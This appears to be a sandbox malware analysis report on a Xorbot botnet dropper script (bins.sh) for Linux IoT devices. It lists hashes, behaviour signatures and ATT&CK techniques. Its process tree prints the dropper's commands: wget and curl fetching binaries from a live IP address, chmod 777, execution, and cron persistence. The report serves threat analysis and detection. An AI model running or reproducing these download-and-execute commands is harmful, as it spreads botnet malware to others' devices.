xorbot | 733dcd188e273babf0c1afe8c2482c6cb61d75171cb0feb800f95c5ffa1f4f86

Analysis

max time kernel
150s
max time network
157s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
01-12-2024 04:35

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General

Target

bins.sh
Size

10KB
MD5

43a7e0e0ca8aa63651fa7f672e7fafd2
SHA1

d584eafdf115abfb917f067045c128f844b16274
SHA256

733dcd188e273babf0c1afe8c2482c6cb61d75171cb0feb800f95c5ffa1f4f86
SHA512

96ecbce3c068b3bc8739e59b2d896e47cb893c309119408a033947484cbd3bc4892bd92ed98b6574817d65bc8f8ee7172626ce74b8d915504fa4bd0a6236bc3a
SSDEEP

96:YD1++8dZyJ0JC99KjtJFuVBbcFYVBCF7gzjtfKZgtXDWA++8dZ0mRZ:Q++8dZyJ0JCzcJEVu2wW9++8dZvZ

Score

10^/10

xorbot antivm botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 1 IoCs

botnet trojan

Processes:

resource	yara_rule
behavioral2/files/fstream-1.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmodchmod

pid	Process
693	chmod
681	chmod

Executes dropped EXE 2 IoCs

Processes:

UEH8Cglb7EwiE5wQ6nH5FWQ1kcTvlbGg7DpD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS

ioc	pid	Process
/tmp/UEH8Cglb7EwiE5wQ6nH5FWQ1kcTvlbGg7D	682	UEH8Cglb7EwiE5wQ6nH5FWQ1kcTvlbGg7D
/tmp/pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS	694	pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS

Renames itself 1 IoCs

Processes:

pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS

pid	Process
695	pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

Processes:

crontab

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.nyHPRv	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 2 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

Processes:

curlcurl

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijScurlcrontab

description	ioc	Process
File opened for reading	/proc/24/cmdline	pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
File opened for reading	/proc/165/cmdline	pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
File opened for reading	/proc/715/cmdline	pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
File opened for reading	/proc/726/cmdline	pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
File opened for reading	/proc/731/cmdline	pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
File opened for reading	/proc/736/cmdline	pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
File opened for reading	/proc/764/cmdline	pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
File opened for reading	/proc/8/cmdline	pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
File opened for reading	/proc/786/cmdline	pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
File opened for reading	/proc/16/cmdline	pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
File opened for reading	/proc/709/cmdline	pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
File opened for reading	/proc/739/cmdline	pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/19/cmdline	pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
File opened for reading	/proc/300/cmdline	pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
File opened for reading	/proc/801/cmdline	pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
File opened for reading	/proc/17/cmdline	pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
File opened for reading	/proc/650/cmdline	pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
File opened for reading	/proc/704/cmdline	pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
File opened for reading	/proc/748/cmdline	pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
File opened for reading	/proc/752/cmdline	pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
File opened for reading	/proc/802/cmdline	pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
File opened for reading	/proc/26/cmdline	pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
File opened for reading	/proc/107/cmdline	pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
File opened for reading	/proc/277/cmdline	pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
File opened for reading	/proc/708/cmdline	pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
File opened for reading	/proc/10/cmdline	pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
File opened for reading	/proc/9/cmdline	pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
File opened for reading	/proc/415/cmdline	pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
File opened for reading	/proc/756/cmdline	pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
File opened for reading	/proc/5/cmdline	pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
File opened for reading	/proc/20/cmdline	pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
File opened for reading	/proc/702/cmdline	pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
File opened for reading	/proc/777/cmdline	pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
File opened for reading	/proc/11/cmdline	pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
File opened for reading	/proc/770/cmdline	pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
File opened for reading	/proc/784/cmdline	pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
File opened for reading	/proc/97/cmdline	pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
File opened for reading	/proc/42/cmdline	pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
File opened for reading	/proc/602/cmdline	pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
File opened for reading	/proc/647/cmdline	pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
File opened for reading	/proc/714/cmdline	pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
File opened for reading	/proc/792/cmdline	pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
File opened for reading	/proc/13/cmdline	pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
File opened for reading	/proc/28/cmdline	pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
File opened for reading	/proc/734/cmdline	pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
File opened for reading	/proc/1/cmdline	pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
File opened for reading	/proc/18/cmdline	pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
File opened for reading	/proc/23/cmdline	pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
File opened for reading	/proc/147/cmdline	pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
File opened for reading	/proc/150/cmdline	pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
File opened for reading	/proc/152/cmdline	pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
File opened for reading	/proc/713/cmdline	pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
File opened for reading	/proc/725/cmdline	pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/768/cmdline	pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
File opened for reading	/proc/762/cmdline	pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
File opened for reading	/proc/776/cmdline	pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
File opened for reading	/proc/796/cmdline	pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
File opened for reading	/proc/727/cmdline	pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
File opened for reading	/proc/2/cmdline	pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
File opened for reading	/proc/6/cmdline	pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
File opened for reading	/proc/269/cmdline	pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
File opened for reading	/proc/309/cmdline	pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

Processes:

busyboxwgetcurlbusyboxwgetcurl

description	ioc	Process
File opened for modification	/tmp/UEH8Cglb7EwiE5wQ6nH5FWQ1kcTvlbGg7D	busybox
File opened for modification	/tmp/pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS	wget
File opened for modification	/tmp/pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS	curl
File opened for modification	/tmp/pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS	busybox
File opened for modification	/tmp/UEH8Cglb7EwiE5wQ6nH5FWQ1kcTvlbGg7D	wget
File opened for modification	/tmp/UEH8Cglb7EwiE5wQ6nH5FWQ1kcTvlbGg7D	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:650
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:652
- /usr/bin/wget
  wget http://216.126.231.240/bins/UEH8Cglb7EwiE5wQ6nH5FWQ1kcTvlbGg7D
  2⤵
  - Writes file to tmp directory
  PID:657
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/UEH8Cglb7EwiE5wQ6nH5FWQ1kcTvlbGg7D
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:672
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/UEH8Cglb7EwiE5wQ6nH5FWQ1kcTvlbGg7D
  2⤵
  - Writes file to tmp directory
  PID:679
- /bin/chmod
  chmod 777 UEH8Cglb7EwiE5wQ6nH5FWQ1kcTvlbGg7D
  2⤵
  - File and Directory Permissions Modification
  PID:681
- /tmp/UEH8Cglb7EwiE5wQ6nH5FWQ1kcTvlbGg7D
  ./UEH8Cglb7EwiE5wQ6nH5FWQ1kcTvlbGg7D
  2⤵
  - Executes dropped EXE
  PID:682
- /bin/rm
  rm UEH8Cglb7EwiE5wQ6nH5FWQ1kcTvlbGg7D
  2⤵
  PID:684
- /usr/bin/wget
  wget http://216.126.231.240/bins/pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
  2⤵
  - Writes file to tmp directory
  PID:685
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:686
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
  2⤵
  - Writes file to tmp directory
  PID:689
- /bin/chmod
  chmod 777 pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
  2⤵
  - File and Directory Permissions Modification
  PID:693
- /tmp/pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
  ./pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:694
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:696
  - - /usr/bin/crontab
      crontab -l
      4⤵
      Reads runtime system information
      PID:698
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:699
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:700
- /bin/rm
  rm pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS
  2⤵
  PID:704
- /usr/bin/wget
  wget http://216.126.231.240/bins/X0w7YyMe2Jlj1NaBbGNbb0RHWDktOBMe2e
  2⤵
  PID:708

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/UEH8Cglb7EwiE5wQ6nH5FWQ1kcTvlbGg7D

Filesize
122KB

MD5
cd3d4b9c643e5b473fb4d88ed05f0716

SHA1
64ee7a97418583d759eaea8000890cc3bae1b5f4

SHA256
0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

SHA512
164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

Download Submit
/tmp/pD5B9MJB3Fs7cHOnGapJzVtI47sAp28ijS

Filesize
177KB

MD5
786d75a158fe731feca3880f436082c0

SHA1
79ea2734e43d00cdeabed5586b2c1994d02aef3e

SHA256
5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

SHA512
7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

Download Submit
/var/spool/cron/crontabs/tmp.nyHPRv

Filesize
210B

MD5
a02bfe600bc75e56e136d05ad3b76004

SHA1
16eaf80bc8d02a630e5b3dceff02193a290f0b7f

SHA256
a951f3cc124a6553553ae5a809c16b6a17f209fd17f8b3c6a4c04d37a39a5729

SHA512
f26a6d6841855598547e770a066715f574f6143c6509c159099022b18586cb91246f0724983a9723a8758f29aa595edc052411cbd6793284496e22bf58aa76d6

Download Submit